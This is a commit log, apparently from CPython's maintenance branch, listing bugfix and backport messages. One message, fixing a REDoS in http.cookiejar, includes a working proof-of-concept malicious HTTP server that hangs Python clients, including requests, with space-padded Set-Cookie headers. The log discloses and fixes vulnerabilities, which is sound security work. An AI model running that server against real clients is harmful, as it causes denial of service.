| Commit message (Collapse) | Author | Age | Files | Lines |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)
|
|
|
|
|
| |
modified: Lib/ctypes/test/test_unicode.py
modified: Misc/ACKS
new file: Misc/NEWS.d/next/Library/2019-05-23-15-57-36.bpo-36713.sjPhnf.rst
|
|
|
|
|
|
|
| |
This makes streamed zips compatible with MacOS Archive Utility and
other applications.
(cherry picked from commit 4ba3b50bfe6d50cd82d208023ea23e203ab50589)
Co-authored-by: Silas Sewell <silas@sewell.org>
|
|
|
|
|
| |
(cherry picked from commit 9c5ba097485c8c643b670acd4026f4382bc92f4b)
Co-authored-by: Marcin Niemira <marcin@niemira.net>
|
|
|
|
|
|
|
|
|
|
| |
(GH-1958) (GH-7704)
Hangul composition check boundaries are wrong for the second character
([0x1161, 0x1176) instead of [0x1161, 0x1176]) and third character ((0x11A7, 0x11C3)
instead of [0x11A7, 0x11C3])..
(cherry picked from commit d134809cd3764c6a634eab7bb8995e3e2eff14d5)
Co-authored-by: Wonsup Yoon <pusnow@me.com>
|
|
|
|
|
|
|
|
|
| |
uuid._ipconfig_getnode did not validate the maximum length of the value,
so long as the value had the same type of formatting as a MAC address.
This let it select DUIDs as MAC addresses. It now requires an exact
length match..
(cherry picked from commit c66c342cb42ab8a88884527ddfe3a5086bc06316)
Co-authored-by: CtrlZvi <viz+github@flippedperspective.com>
|
|
|
|
|
|
|
|
|
| |
(GH-6795) (GH-6817)
The robotparser's __str__ representation now includes wildcard
entries.
(cherry picked from commit c3fa1f2b93fa4bf96a8aadc74ee196384cefa31e)
Co-authored-by: Michael Lazar <lazar.michael22@gmail.com>.
|
|
|
|
| |
attribute. (GH-6095)
|
|
|
|
|
|
|
| |
it in html (GH-6442). (GH-6650)
(cherry picked from commit 7d68bfa82654ba01d860b8a772ff63bf0bd183ee)
Co-authored-by: sblondon <sblondon@users.noreply.github.com>
|
|
|
|
|
|
|
| |
``pygettext`` script. (GH-6259) (GH-6436)
Based on patch by Oleg Krasnikov.
(cherry picked from commit c93938b5beea4c3f592119ebee6d4029558db8de)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
* Prevent low-grade poplib REDOS (CVE-2018-1060)
The regex to test a mail server's timestamp is susceptible to
catastrophic backtracking on long evil responses from the server.
Happily, the maximum length of malicious inputs is 2K thanks
to a limit introduced in the fix for CVE-2013-1752.
A 2KB evil response from the mail server would result in small slowdowns
(milliseconds vs. microseconds) accumulated over many apop calls.
This is a potential DOS vector via accumulated slowdowns.
Replace it with a similar non-vulnerable regex.
The new regex is RFC compliant.
The old regex was non-compliant in edge cases.
* Prevent difflib REDOS (CVE-2018-1061)
The default regex for IS_LINE_JUNK is susceptible to
catastrophic backtracking.
This is a potential DOS vector.
Replace it with an equivalent non-vulnerable regex.
Also introduce unit and REDOS tests for difflib.
Co-authored-by: Tim Peters <tim.peters@gmail.com>
Co-authored-by: Christian Heimes <christian@python.org>.
(cherry picked from commit 0e6c8ee2358a2e23117501826c008842acb835ac)
|
|
|
|
|
|
|
| |
Make test.support.temp_cwd() fork-safe. The context manager test.support.temp_cwd() no longer removes the temporary directory when executing in a process other than the parent it entered from.
If a forked child exits the context manager it won't do the cleanup..
(cherry picked from commit 33dddac00ba8d9b72cf21b8698504077eb3c23ad)
Co-authored-by: Anselm Kruis <a.kruis@science-computing.de>
|
|
|
|
|
|
|
|
|
|
|
| |
SSND chunk is not found (GH-5240) (GH-5781)
Initialize self._ssnd_chunk so that aifc.Error is raised as intended,
not AttributeError.
(cherry picked from commit 80d20b918bd8a882043c493a7f958333ecb41727)
Co-authored-by: Zackery Spytz <zspytz@gmail.com>
|
|
|
|
|
| |
Co-authored-by: Jake Davis <jcdavis@awedge.net>.
(cherry picked from commit 2411292ba8155327125d8a1da8a4c9fa003d5909)
|
|
|
|
|
|
| |
(#4263)
Bug report and patch by Jeroen Demeyer..
(cherry picked from commit f6f90ff079a22b79a58d47b6117cc8a8c7d366f3)
|
|
|
|
|
|
|
| |
Always pass -1, or INFTIM where defined, to the poll() system call when
a negative timeout is passed to the poll.poll([timeout]) method in the
select module. Various OSes throw an error with arbitrary negative
values..
(cherry picked from commit 6cfa927ceb931ad968b5b03e4a2bffb64a8a0604)
|
|
|
|
|
| |
ttk.OptionMenu radiobuttons weren't unique
between instances of OptionMenu.
(cherry picked from commit a568e5273382a5dca0c27274f7d8e34c41a87d4d)
|
|
|
| |
(cherry picked from commit c4c9866064f03646c686d7e08b00aeb203c35c19)
|
|
|
|
|
|
|
|
| |
Adds a new 'Pip not installed' section that covers
running `ensurepip` manually, and also references
the relevant section of the Python Packaging User
Guide.
(cherry picked from commit b3527bfefd7a0188d43a2d7515ac6addd97a8202)
|
|
|
|
|
|
|
|
|
| |
The current regex based splitting produces a wrong result. For example::
http://abc#@def
Web browsers parse that URL as ``http://abc/#@def``, that is, the host
is ``abc``, the path is ``/``, and the fragment is ``#@def``.
(cherry picked from commit 90e01e50ef8a9e6c91f30d965563c378a4ad26de)
|
|
|
|
| |
(#2174)
|
|
|
| |
(cherry picked from commit 9616a82e7802241a4b74cf7ae38d43c37bf66e48)
|
| |
|
|
|
|
|
| |
Based on patches by Duane Griffin and Tim Mitchell.
(cherry picked from commit 753bca3934a7618a4fa96e107ad1c5c18633a683)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
(#1583)
* bpo-30357 each test in test_thread waits until all spawn threads finish
* bpo-30357 each test in test_thread waits until all spawn threads finish
* bpo-30357: test_thread now uses threading_cleanup() (#1592)
test_thread: setUp() now uses support.threading_setup() and
support.threading_cleanup() to wait until threads complete to avoid
random side effects on following tests.
Co-Authored-By: Victor Stinner <victor.stinner@gmail.com>
* bpo-30357: test_thread now uses threading_cleanup() (#1592)
test_thread: setUp() now uses support.threading_setup() and
support.threading_cleanup() to wait until threads complete to avoid
random side effects on following tests.
Co-Authored-By: Victor Stinner <victor.stinner@gmail.com>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| |
(GH-1478) (#1522)
* bpo-29243: Fix Makefile with respect to --enable-optimizations
When using the Profile Guided Optimization (./configure --enable-optimizations)
Python is built not only during `make` but rebuilt again during `make test`,
`make install` and others. This patch fixes the issue.
Note that this fix produces no change at all in the Makefile if configure is
run witout --enable-optimizations.
* !squash.
(cherry picked from commit a1054c3b0037d4c2a5492e79fc193f36245366c7)
|
|
|
|
|
|
|
|
| |
The reference to administrative data was confusing to readers,
so this simplifies the note to explain that deep copying may copy
more then you intended, such as data that you expected to be
shared between copies.
Patch by Sanyam Khurana.
|
|
|
|
|
|
| |
* Keep the c-api exception doc up-to-date
cherry-pick'ed from ec1f5df..e3d6db3 and fix conflict
|
|
|
|
| |
Masayuki Yamamoto
|
|
|
|
| |
Based on patch by Tycho Andersen.
|
|
|
|
| |
Patch by Dhushyanth Ramasamy.
|
|
|
|
|
| |
The ld_so_aix script and python.exp file are created in the build directory.
Patch by Tristan Carel and Michael Haubenwallner.
|
|
|
|
| |
Patch by Matthieu S.
|
|
|
|
| |
Patch by Anish Tambe.
|
|
|
|
|
| |
the garbage collector is invoked in other thread.
Based on patch by Sebastian Cufre.
|
|
|
|
| |
Patch by Tim Mitchell.
|
|
|
|
| |
Patch by Piotr Szczepaniak.
|
|
|
|
| |
Original patch by Niklas Koep.
|
|
|
|
| |
Patch by Mariatta Wijaya.
|
| |
|
| |
|
|
|
|
| |
instance of a float subclass. Thanks Eddie James.
|
|
|
|
| |
Patch by Robin Roth, backport by Xiang Zhang.
|
|
|
|
|
|
|
| |
Ignore the HTTP_PROXY variable when REQUEST_METHOD environment is set, which
indicates that the script is in CGI mode.
Issue reported and patch contributed by Rémi Rampin.
|
|
|
|
|
|
|
|
| |
The dependendency on the $(PGEN) variable must only be
set when not cross-compiling. When cross-compiling,
$(PGEN) will not be used, so no need to build it.
Patch by Thomas Perl.
|
|
|
|
| |
Patch by Alakshendra Yadav.
|
|
|
|
| |
by Jelle Zijlstra.
|
|
|
|
| |
Implementation by Sean Rodman; test by Kaushik Nadikuditi.
|
|
|
|
| |
Patch by Susumu Koshiba.
|
| |
|